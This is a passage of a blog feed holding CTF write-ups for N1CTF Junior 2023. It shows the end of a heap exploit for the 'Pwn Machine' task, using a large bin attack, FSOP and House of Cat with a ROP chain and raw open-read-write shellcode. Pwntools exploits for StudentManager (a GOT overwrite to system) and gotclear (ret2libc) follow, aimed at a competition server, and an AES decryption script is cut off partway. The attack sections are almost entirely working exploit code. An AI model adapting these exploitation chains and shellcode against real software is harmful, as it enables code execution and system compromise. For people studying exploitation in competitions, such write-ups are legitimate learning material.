class="number">2</span></span><br><span class="line">sc+=<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">;large bin attack &amp;&amp; FSOP</span></span><br><span class="line"><span class="string">malloc(5,0x420)</span></span><br><span class="line"><span class="string">malloc(0,0x440)</span></span><br><span class="line"><span class="string">malloc(6,0x10)</span></span><br><span class="line"><span class="string">malloc(1,0x430)</span></span><br><span class="line"><span class="string">malloc(6,0x10)</span></span><br><span class="line"><span class="string">writereg(1, p64(0x430+0x450+1))</span></span><br><span class="line"><span class="string">writeheap(total_heap_size//8,1)</span></span><br><span class="line"><span class="string">free(5)</span></span><br><span class="line"><span class="string">malloc(5,0x430)</span></span><br><span class="line"><span class="string">malloc(5,0x430)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">writereg(1, p64(0x451))</span></span><br><span class="line"><span class="string">writeheap((total_heap_size+0x430)//8,1)</span></span><br><span class="line"><span class="string">free(0)</span></span><br><span class="line"><span class="string">malloc(6,0x450)</span></span><br><span class="line"><span class="string">readheap(5,2,0)</span></span><br><span class="line"><span class="string">free(1)</span></span><br><span class="line"><span class="string">writereg(3, p64(0x470))</span></span><br><span class="line"><span class="string">calc(&#x27;+&#x27;,2,2,3)</span></span><br><span class="line"><span class="string">writemem(1,2)</span></span><br><span class="line"><span class="string">writereg(1,p64(libc.sym[&#x27;_IO_list_all&#x27;]-0x20))</span></span><br><span class="line"><span class="string">calc(&#x27;+&#x27;,3,0,1)</span></span><br><span class="line"><span class="string">writeheap((total_heap_size+0x430+0x20)//8,3)</span></span><br><span class="line"><span class="string">malloc(1,0x450)</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">heap0idx=(total_heap_size+<span class="number">0x430</span>+<span class="number">0x468</span>)//<span class="number">8</span></span><br><span class="line">gadget=<span class="number">0x53a6d</span></span><br><span class="line">orw=<span class="string">b&#x27;\xb8flagPH\x89\xe71\xf61\xc0\x04\x02\x0f\x05\x89\xc7H\x89\xe6f\xb8\x01\x011\xd2f\x89\xc2f\x01\xc61\xc0\x0f\x051\xfff\xff\xc7f\xff\xc71\xc0\xfe\xc0\x0f\x05&#x27;</span></span><br><span class="line">sc+=<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">;House of Cat</span></span><br><span class="line"><span class="string">writeheapblock(heap0idx,p64(0)*8+p64(1)+p64(2))</span></span><br><span class="line"><span class="string">readmem(1,1)</span></span><br><span class="line"><span class="string">writereg(2,p64((heap0idx+1)*8+0x10000))</span></span><br><span class="line"><span class="string">calc(&#x27;-&#x27;, 1, 1, 2)</span></span><br><span class="line"><span class="string">writemem(2, 1)</span></span><br><span class="line"><span class="string">writeheap(heap0idx+10, 1)</span></span><br><span class="line"><span class="string">writereg(2,p64(0x12b0))</span></span><br><span class="line"><span class="string">calc(&#x27;-&#x27;, 1, 1, 2)</span></span><br><span class="line"><span class="string">writemem(0x138//8, 1)</span></span><br><span class="line"><span class="string">writereg(2,p64(gadget))</span></span><br><span class="line"><span class="string">calc(&#x27;+&#x27;, 2, 0, 2)</span></span><br><span class="line"><span class="string">writeheap(heap0idx+11, 2)</span></span><br><span class="line"><span class="string">writeheapblock(heap0idx+12, p64(0)*5)</span></span><br><span class="line"><span class="string">writereg(2, p64(0x500))</span></span><br><span class="line"><span class="string">calc(&#x27;+&#x27;, 1, 1, 2)</span></span><br><span class="line"><span class="string">writeheap(heap0idx+17, 1)</span></span><br><span class="line"><span class="string">writeheapblock(heap0idx+18, p64(0)*2)</span></span><br><span class="line"><span class="string">writereg(2, p64(0x30))</span></span><br><span class="line"><span class="string">readmem(1, 1)</span></span><br><span class="line"><span class="string">calc(&#x27;+&#x27;, 1, 1, 2)</span></span><br><span class="line"><span class="string">writeheap(heap0idx+20, 1)</span></span><br><span class="line"><span class="string">writeheapblock(heap0idx+21, p64(0)*3+p64(1)+p64(0)*2)</span></span><br><span class="line"><span class="string">writereg(1, p64(0x2160c0+0x30))</span></span><br><span class="line"><span class="string">calc(&#x27;+&#x27;, 1, 1, 0)</span></span><br><span class="line"><span class="string">writeheap(heap0idx+27, 1)</span></span><br><span class="line"><span class="string">writeheapblock(heap0idx+28, p64(0)*6)</span></span><br><span class="line"><span class="string">readmem(1,1)</span></span><br><span class="line"><span class="string">writereg(2, p64(0x40))</span></span><br><span class="line"><span class="string">calc(&#x27;+&#x27;, 1, 1, 2)</span></span><br><span class="line"><span class="string">writeheap(heap0idx+34, 1)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;set rop payload</span></span><br><span class="line"><span class="string">readmem(2,1)</span></span><br><span class="line"><span class="string">writereg(2, p64(0x138))</span></span><br><span class="line"><span class="string">calc(&#x27;+&#x27;,1,1,2)</span></span><br><span class="line"><span class="string">writemem(0xa0//8, 1)</span></span><br><span class="line"><span class="string">writereg(2, p64(0x2a3e5))</span></span><br><span class="line"><span class="string">calc(&#x27;+&#x27;,1,0,2)</span></span><br><span class="line"><span class="string">writemem(0xa8//8, 1)</span></span><br><span class="line"><span class="string">writemem(0x130//8, 1)</span></span><br><span class="line"><span class="string">writereg(2, p64(0x2be51))</span></span><br><span class="line"><span class="string">calc(&#x27;+&#x27;,1,0,2)</span></span><br><span class="line"><span class="string">writemem(0x140//8, 1)</span></span><br><span class="line"><span class="string">writereg(2, p64(0x20000))</span></span><br><span class="line"><span class="string">writemem(0x148//8, 2)</span></span><br><span class="line"><span class="string">writereg(2, p64(0x90529))</span></span><br><span class="line"><span class="string">calc(&#x27;+&#x27;,1,0,2)</span></span><br><span class="line"><span class="string">writemem(0x150//8, 1)</span></span><br><span class="line"><span class="string">writememblock(0x158//8, p64(7)+p64(0))</span></span><br><span class="line"><span class="string">writereg(2, p64(libc.sym[&#x27;mprotect&#x27;]))</span></span><br><span class="line"><span class="string">calc(&#x27;+&#x27;,1,0,2)</span></span><br><span class="line"><span class="string">writemem(0x168//8, 1)</span></span><br><span class="line"><span class="string">readmem(2,1)</span></span><br><span class="line"><span class="string">writereg(2,p64(0x200))</span></span><br><span class="line"><span class="string">calc(&#x27;+&#x27;,1,1,2)</span></span><br><span class="line"><span class="string">writemem(0x170//8, 1)</span></span><br><span class="line"><span class="string">writememblock(0x200//8, orw)</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">code=<span class="string">b&#x27;&#x27;</span>.join([<span class="built_in">eval</span>(i) <span class="keyword">for</span> i <span class="keyword">in</span> sc.splitlines() <span class="keyword">if</span> i <span class="keyword">and</span> <span class="keyword">not</span> i.startswith(<span class="string">&#x27;;&#x27;</span>)])</span><br><span class="line">p.sendafter(<span class="string">b&#x27;Show me the code:&#x27;</span>, code)</span><br><span class="line"><span class="built_in">print</span>(p.recvuntil(<span class="string">b&#x27;&#125;&#x27;</span>))</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">N1CTF Junior 2023 Pwn Machine赛题复现 by 没有头猪</summary>
    
    
    
    <category term="notes" scheme="https://zqy.ink/categories/notes/"/>
    
    
    <category term="pwn" scheme="https://zqy.ink/tags/pwn/"/>
    
    <category term="N1ctf Junior 2023" scheme="https://zqy.ink/tags/N1ctf-Junior-2023/"/>
    
    <category term="ctf" scheme="https://zqy.ink/tags/ctf/"/>
    
    <category term="heap" scheme="https://zqy.ink/tags/heap/"/>
    
  </entry>
  
  <entry>
    <title>N1ctf Junior 2023 writeup</title>
    <link href="https://zqy.ink/2023/02/03/N1ctf_Junior_2023_wp/"/>
    <id>https://zqy.ink/2023/02/03/N1ctf_Junior_2023_wp/</id>
    <published>2023-02-03T01:18:27.000Z</published>
    <updated>2025-11-14T08:20:36.879Z</updated>
    
    <content type="html"><![CDATA[<h2 id="pwn"><a href="#pwn" class="headerlink" title="pwn"></a>pwn</h2><h3 id="StudentManager"><a href="#StudentManager" class="headerlink" title="StudentManager"></a>StudentManager</h3><p>type confusion，size可为负数，从而实现任意地址写。先建一个name为&#x2F;bin&#x2F;sh的student，然后覆盖got表，puts改为system，最后show即可。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#p=process(&#x27;./StudentManager&#x27;)</span></span><br><span class="line">p=connect(<span class="string">&#x27;39.102.55.191&#x27;</span>,<span class="number">9998</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./StudentManager&#x27;</span>)</span><br><span class="line">libc=ELF(<span class="string">&#x27;./libc-2.31.so&#x27;</span>)</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">name, size, content</span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&gt; &#x27;</span>,<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">p.sendafter(<span class="string">b&#x27;Name: \n&#x27;</span>,name)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Size: \n&#x27;</span>,<span class="built_in">str</span>(size).encode())</span><br><span class="line">p.sendafter(<span class="string">b&#x27;Description: \n&#x27;</span>,content)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">idx, name, content</span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&gt; &#x27;</span>,<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;edit: \n&#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line">p.sendafter(<span class="string">b&#x27;Name: \n&#x27;</span>,name)</span><br><span class="line">p.sendafter(<span class="string">b&#x27;description: \n&#x27;</span>,content)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">idx</span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&gt; &#x27;</span>,<span class="string">b&#x27;3&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;show: \n&#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line">p.recvuntil(<span class="string">b&#x27;Name: \n&#x27;</span>)</span><br><span class="line">add(<span class="string">b&#x27;a&#x27;</span>, <span class="number">32</span>, <span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">edit(<span class="number">0</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">16</span>,<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">p.recvuntil(<span class="string">b&#x27;a&#x27;</span>*<span class="number">16</span>)</span><br><span class="line">pie_base=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)-<span class="number">17184</span></span><br><span class="line">add(<span class="string">b&#x27;a&#x27;</span>, -<span class="number">0x340</span>+<span class="number">0x18</span>,<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">add(<span class="string">b&#x27;a&#x27;</span>, <span class="number">32</span>, <span class="string">b&#x27;\x20&#x27;</span>)</span><br><span class="line">show(<span class="number">2</span>)</span><br><span class="line">p.recvuntil(<span class="string">b&#x27;Description: \n&#x27;</span>)</span><br><span class="line">libc.address=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)-libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">edit(<span class="number">2</span>,<span class="string">b&#x27;a&#x27;</span>,p64(libc.sym[<span class="string">&#x27;system&#x27;</span>]))</span><br><span class="line">sleep(<span class="number">1</span>)</span><br><span class="line">p.sendline(<span class="string">b&#x27;3&#x27;</span>)</span><br><span class="line">sleep(<span class="number">1</span>)</span><br><span class="line">p.sendline(<span class="string">b&#x27;0&#x27;</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h3 id="gotclear"><a href="#gotclear" class="headerlink" title="gotclear"></a>gotclear</h3><p>Partial RELRO，跟踪程序第一次调用库函数的过程，发现调用了0x401030开始的一些过程。因此ROP到这些函数即可重置got表为正确的地址。动调时发现似乎重置后会再调用一次对应的库函数（也有可能我没调对），因为此时参数多半不合法所以会导致puts, read等函数对应的syscall失败，但程序并不会崩溃，只要避免重置setbuf的got表即可。第一遍重置got表+泄露libc，返回到main函数中一个合适的地方，第二遍ret2libc即可。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#p=process(&#x27;./main&#x27;)</span></span><br><span class="line">p=connect(<span class="string">&#x27;39.102.55.191&#x27;</span>,<span class="number">9999</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./main&#x27;</span>)</span><br><span class="line">libc=ELF(<span class="string">&#x27;./libc-2.31.so&#x27;</span>)</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">p.send(<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x38</span>+p64(<span class="number">0x401030</span>)+p64(<span class="number">0x401050</span>)+p64(<span class="number">0x401293</span>)+p64(<span class="number">0x404018</span>)+p64(<span class="number">0x40115d</span>)+p64(<span class="number">0x404100</span>)+p64(<span class="number">0x4011c5</span>))</span><br><span class="line">libc.address=u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:]+<span class="string">b&#x27;\x00\x00&#x27;</span>)-libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">info(<span class="built_in">hex</span>(libc.address))</span><br><span class="line">binsh=<span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh&#x27;</span>))</span><br><span class="line">p.send(<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x38</span>+p64(<span class="number">0x40128c</span>)+p64(<span class="number">0</span>)*<span class="number">4</span>+p64(libc.address+<span class="number">0xe3afe</span>))</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="reverse"><a href="#reverse" class="headerlink" title="reverse"></a>reverse</h2><h3 id="junior-enc"><a href="#junior-enc" class="headerlink" title="junior_enc"></a>junior_enc</h3><p>题目给了具体的aes加密函数，写个对应的解密函数即可。程序中用unicorn跑了个arm架构shellcode，直接dump下来扔进IDA，两个异或+一个加减，明显可逆。注意程序中的hook，要patch一下dump下来code的两个字节。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># _*_ coding:utf-8 _*_</span></span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">s = [[<span class="number">0x63</span>, <span class="number">0x7c</span>, <span class="number">0x77</span>, <span class="number">0x7b</span>, <span class="number">0xf2</span>, <span class="number">0x6b</span>, <span class="number">0x6f</span>, <span class="number">0xc5</span>, <span class="number">0x30</span>, <span class="number">0x01</span>, <span class="number">0x67</span>, <span class="number">0x2b</span>, <span class="number">0xfe</span>, <span class="number">0xd7</span>, <span class="number">0xab</span>, <span class="number">0x76</span>],</span><br><span class="line">     [<span class="number">0xca</span>, <span class="number">0x82</span>, <span class="number">0xc9</span>, <span class="number">0x7d</span>, <span class="number">0xfa</span>, <span class="number">0x59</span>, <span class="number">0x47</span>, <span class="number">0xf0</span>, <span class="number">0xad</span>, <span class="number">0xd4</span>, <span class="number">0xa2</span>, <span class="number">0xaf</span>, <span class="number">0x9c</span>, <span class="number">0xa4</span>, <span class="number">0x72</span>, <span class="number">0xc0</span>],</span><br><span class="line">     [<span class="number">0xb7</span>, <span class="number">0xfd</span>, <span class="number">0x93</span>, <span class="number">0x26</span>, <span class="number">0x36</span>, <span class="number">0x3f</span>, <span class="number">0xf7</span>, <span class="number">0xcc</span>, <span class="number">0x34</span>, <span class="number">0xa5</span>, <span class="number">0xe5</span>, <span class="number">0xf1</span>, <span class="number">0x71</span>, <span class="number">0xd8</span>, <span class="number">0x31</span>, <span class="number">0x15</span>],</span><br><span class="line">     [<span class="number">0x04</span>, <span class="number">0xc7</span>, <span class="number">0x23</span>, <span class="number">0xc3</span>, <span class="number">0x18</span>, <span class="number">0x96</span>, <span class="number">0x05</span>, <span class="number">0x9a</span>, <span class="number">0x07</span>, <span class="number">0x12</span>, <span class="number">0x80</span>, <span class="number">0xe2</span>, <span class="number">0xeb</span>, <span class="number">0x27</span>, <span class="number">0xb2</span>, <span class="number">0x75</span>],</span><br><span class="line">     [<span class="number">0x09</span>, <span class="number">0x83</span>, <span class="number">0x2c</span>, <span class="number">0x1a</span>, <span class="number">0x1b</span>, <span class="number">0x6e</span>, <span class="number">0x5a</span>, <span class="number">0xa0</span>, <span class="number">0x52</span>, <span class="number">0x3b</span>, <span class="number">0xd6</span>, <span class="number">0xb3</span>, <span class="number">0x29</span>, <span class="number">0xe3</span>, <span class="number">0x2f</span>, <span class="number">0x84</span>],</span><br><span class="line">     [<span class="number">0x53</span>, <span class="number">0xd1</span>, <span class="number">0x00</span>, <span class="number">0xed</span>, <span class="number">0x20</span>, <span class="number">0xfc</span>, <span class="number">0xb1</span>, <span class="number">0x5b</span>, <span class="number">0x6a</span>, <span class="number">0xcb</span>, <span class="number">0xbe</span>, <span class="number">0x39</span>, <span class="number">0x4a</span>, <span class="number">0x4c</span>, <span class="number">0x58</span>, <span class="number">0xcf</span>],</span><br><span class="line">     [<span class="number">0xd0</span>, <span class="number">0xef</span>, <span class="number">0xaa</span>, <span class="number">0xfb</span>, <span class="number">0x43</span>, <span class="number">0x4d</span>, <span class="number">0x33</span>, <span class="number">0x85</span>, <span class="number">0x45</span>, <span class="number">0xf9</span>, <span class="number">0x02</span>, <span class="number">0x7f</span>, <span class="number">0x50</span>, <span class="number">0x3c</span>, <span class="number">0x9f</span>, <span class="number">0xa8</span>],</span><br><span class="line">     [<span class="number">0x51</span>, <span class="number">0xa3</span>, <span class="number">0x40</span>, <span class="number">0x8f</span>, <span class="number">0x92</span>, <span class="number">0x9d</span>, <span class="number">0x38</span>, <span class="number">0xf5</span>, <span class="number">0xbc</span>, <span class="number">0xb6</span>, <span class="number">0xda</span>, <span class="number">0x21</span>, <span class="number">0x10</span>, <span class="number">0xff</span>, <span class="number">0xf3</span>, <span class="number">0xd2</span>],</span><br><span class="line">     [<span class="number">0xcd</span>, <span class="number">0x0c</span>, <span class="number">0x13</span>, <span class="number">0xec</span>, <span class="number">0x5f</span>, <span class="number">0x97</span>, <span class="number">0x44</span>, <span class="number">0x17</span>, <span class="number">0xc4</span>, <span class="number">0xa7</span>, <span class="number">0x7e</span>, <span class="number">0x3d</span>, <span class="number">0x64</span>, <span class="number">0x5d</span>, <span class="number">0x19</span>, <span class="number">0x73</span>],</span><br><span class="line">     [<span class="number">0x60</span>, <span class="number">0x81</span>, <span class="number">0x4f</span>, <span class="number">0xdc</span>, <span class="number">0x22</span>, <span class="number">0x2a</span>, <span class="number">0x90</span>, <span class="number">0x88</span>, <span class="number">0x46</span>, <span class="number">0xee</span>, <span class="number">0xb8</span>, <span class="number">0x14</span>, <span class="number">0xde</span>, <span class="number">0x5e</span>, <span class="number">0x0b</span>, <span class="number">0xdb</span>],</span><br><span class="line">     [<span class="number">0xe0</span>, <span class="number">0x32</span>, <span class="number">0x3a</span>, <span class="number">0x0a</span>, <span class="number">0x49</span>, <span class="number">0x06</span>, <span class="number">0x24</span>, <span class="number">0x5c</span>, <span class="number">0xc2</span>, <span class="number">0xd3</span>, <span class="number">0xac</span>, <span class="number">0x62</span>, <span class="number">0x91</span>, <span class="number">0x95</span>, <span class="number">0xe4</span>, <span class="number">0x79</span>],</span><br><span class="line">     [<span class="number">0xe7</span>, <span class="number">0xc8</span>, <span class="number">0x37</span>, <span class="number">0x6d</span>, <span class="number">0x8d</span>, <span class="number">0xd5</span>, <span class="number">0x4e</span>, <span class="number">0xa9</span>, <span class="number">0x6c</span>, <span class="number">0x56</span>, <span class="number">0xf4</span>, <span class="number">0xea</span>, <span class="number">0x65</span>, <span class="number">0x7a</span>, <span class="number">0xae</span>, <span class="number">0x08</span>],</span><br><span class="line">     [<span class="number">0xba</span>, <span class="number">0x78</span>, <span class="number">0x25</span>, <span class="number">0x2e</span>, <span class="number">0x1c</span>, <span class="number">0xa6</span>, <span class="number">0xb4</span>, <span class="number">0xc6</span>, <span class="number">0xe8</span>, <span class="number">0xdd</span>, <span class="number">0x74</span>, <span class="number">0x1f</span>, <span class="number">0x4b</span>, <span class="number">0xbd</span>, <span class="number">0x8b</span>, <span class="number">0x8a</span>],</span><br><span class="line">     [<span class="number">0x70</span>, <span class="number">0x3e</span>, <span class="number">0xb5</span>, <span class="number">0x66</span>, <span class="number">0x48</span>, <span class="number">0x03</span>, <span class="number">0xf6</span>, <span class="number">0x0e</span>, <span class="number">0x61</span>, <span class="number">0x35</span>, <span class="number">0x57</span>, <span class="number">0xb9</span>, <span class="number">0x86</span>, <span class="number">0xc1</span>, <span class="number">0x1d</span>, <span class="number">0x9e</span>],</span><br><span class="line">     [<span class="number">0xe1</span>, <span class="number">0xf8</span>, <span class="number">0x98</span>, <span class="number">0x11</span>, <span class="number">0x69</span>, <span class="number">0xd9</span>, <span class="number">0x8e</span>, <span class="number">0x94</span>, <span class="number">0x9b</span>, <span class="number">0x1e</span>, <span class="number">0x87</span>, <span class="number">0xe9</span>, <span class="number">0xce</span>, <span class="number">0x55</span>, <span class="number">0x28</span>, <span class="number">0xdf</span>],</span><br><span class="line">     [<span class="number">0x8c</span>, <span class="number">0xa1</span>, <span class="number">0x89</span>, <span class="number">0x0d</span>, <span class="number">0xbf</span>, <span class="number">0xe6</span>, <span class="number">0x42</span>, <span class="number">0x68</span>, <span class="number">0x41</span>, <span class="number">0x99</span>, <span class="number">0x2d</span>, <span class="number">0x0f</span>, <span class="number">0xb0</span>, <span class="number">0x54</span>, <span class="number">0xbb</span>, <span class="number">0x16</span>]]</span><br><span class="line"></span><br><span class="line">re_s = [[<span class="number">0x52</span>, <span class="number">0x09</span>, <span class="number">0x6a</span>, <span class="number">0xd5</span>, <span class="number">0x30</span>, <span class="number">0x36</span>, <span class="number">0xa5</span>, <span class="number">0x38</span>, <span class="number">0xbf</span>, <span class="number">0x40</span>, <span class="number">0xa3</span>, <span class="number">0x9e</span>, <span class="number">0x81</span>, <span class="number">0xf3</span>, <span class="number">0xd7</span>, <span class="number">0xfb</span>],</span><br><span class="line">        [<span class="number">0x7c</span>, <span class="number">0xe3</span>, <span class="number">0x39</span>, <span class="number">0x82</span>, <span class="number">0x9b</span>, <span class="number">0x2f</span>, <span class="number">0xff</span>, <span class="number">0x87</span>, <span class="number">0x34</span>, <span class="number">0x8e</span>, <span class="number">0x43</span>, <span class="number">0x44</span>, <span class="number">0xc4</span>, <span class="number">0xde</span>, <span class="number">0xe9</span>, <span class="number">0xcb</span>],</span><br><span class="line">        [<span class="number">0x54</span>, <span class="number">0x7b</span>, <span class="number">0x94</span>, <span class="number">0x32</span>, <span class="number">0xa6</span>, <span class="number">0xc2</span>, <span class="number">0x23</span>, <span class="number">0x3d</span>, <span class="number">0xee</span>, <span class="number">0x4c</span>, <span class="number">0x95</span>, <span class="number">0x0b</span>, <span class="number">0x42</span>, <span class="number">0xfa</span>, <span class="number">0xc3</span>, <span class="number">0x4e</span>],</span><br><span class="line">        [<span class="number">0x08</span>, <span class="number">0x2e</span>, <span class="number">0xa1</span>, <span class="number">0x66</span>, <span class="number">0x28</span>, <span class="number">0xd9</span>, <span class="number">0x24</span>, <span class="number">0xb2</span>, <span 